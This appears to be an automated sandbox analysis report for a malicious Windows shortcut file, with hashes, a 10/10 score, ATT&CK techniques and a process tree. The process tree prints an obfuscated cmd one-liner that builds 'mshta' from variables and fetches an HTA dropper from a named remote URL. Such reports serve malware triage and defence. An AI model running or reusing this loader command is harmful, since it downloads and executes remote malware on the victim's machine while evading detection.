37ba3862eb51754ba5e02861e3cfa8f7da4a2c17d1a62f521f971fa2c56c1899

Analysis

max time kernel
148s
max time network
113s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:28

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General

Target
DOC-I8KE3T.lnk
Size 1KB
Sample260803-qqwffsac37
SHA256 37ba3862eb51754ba5e02861e3cfa8f7da4a2c17d1a62f521f971fa2c56c1899
MD5 7cc6327266fbb71d4e4d9dec453bf087
SHA1 5c39bbe3fd5e9ee8fac8afcaca9638659b083bf9
SHA512 9b9728f0cb7e058482433188effa536a6a19e289a5813337c06f30f9232f840f352baa97448a2b94dc7d0abbab4887c0b63078fa8e77b945be5ff7e91c00dbff
TLSH
T1EB3197103FFD0A14F3B39E3398BB5B1088BFB8968E21C61E0140460C1032A15E17AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2392	cmd.exe
3136	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2392 wrote to memory of 3136	2392	cmd.exe	89
PID 3136 wrote to memory of 4528	3136	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-I8KE3T.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2392
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set IRS=msh&&set EKDH=ta&&start "" !IRS!!EKDH! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3136
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:4528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5800

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads